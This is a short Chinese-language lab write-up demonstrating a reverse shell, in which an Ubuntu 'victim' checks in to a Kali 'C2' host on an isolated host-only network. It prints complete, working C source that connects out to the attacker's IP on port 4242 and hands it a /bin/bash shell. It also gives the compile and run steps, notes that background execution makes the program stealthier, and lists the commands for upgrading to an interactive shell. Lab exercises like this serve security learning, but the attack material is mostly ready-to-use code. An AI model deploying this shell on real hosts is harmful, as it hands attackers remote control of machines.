# Reverse Shell ## 簡介 模擬一個受害主機到C2主機報到的流程,本次實驗採用C語言編譯C語言報到程式,並參考[swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)的程式碼 ## 環境 - KALI 攻擊機 (IP:192.168.226.128) - UBUNTU 受害主機(IP:192.168.226.129) - 網路皆為HOST-ONLY模式 ## 實驗步驟 1. KALI 開啟監聽PORT 4242 ![](https://i.imgur.com/srXnvbZ.png) 2. 在受害者機上編譯C2報到程式 ```c= #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ int port = 4242; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("192.168.226.128"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/bash", NULL}; execve("/bin/bash", argv, NULL); return 0; } ``` - gcc編譯 - 編譯成功不會出現任何回饋文字 ``` gcc reverse_shell.c ``` 3. 受害主機執行reverse_shell程式 - 保持執行中,浮標會閃爍 - ```./reverse_shell``` ![](https://i.imgur.com/RMydF6L.png) - 或是背景執行增加程式隱密性 - ```./reverse_shell &``` ![](https://i.imgur.com/jetRH9j.png) 4. 查看KALI攻擊機是否收到C2報到 - 可以看到圖中,來自一筆連線是192.168.226.129(受害主機) ![](https://i.imgur.com/nCaMfcq.png) 5. KALI攻擊機輸入任意 ![](https://i.imgur.com/QpQkT3h.png) 6. 提升交互式SHELL(在攻擊者主機執行) - 獲得一個能正常使用的shell - ```python3 -c 'import pty; pty.spawn("/bin/bash")'``` - 按ctrl + Z ![](https://i.imgur.com/Dg24j2V.png) 7. 輸入指令 ```stty raw -echo; fg``` 按兩次Enter ## 結語 本次實驗分享Reverse Shell的實作步驟,以及參考程式碼的來源連結,除了C語言以外許多語言都可以當作Reverse Shell的媒介,依照受害主機上的環境選擇適合的執行方式。 ## 參考 [swisskyrepo/PayloadsAllTheThings(GITHUB)](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) [ithome Bind Shell / Reverse Shell](https://ithelp.ithome.com.tw/articles/10279849)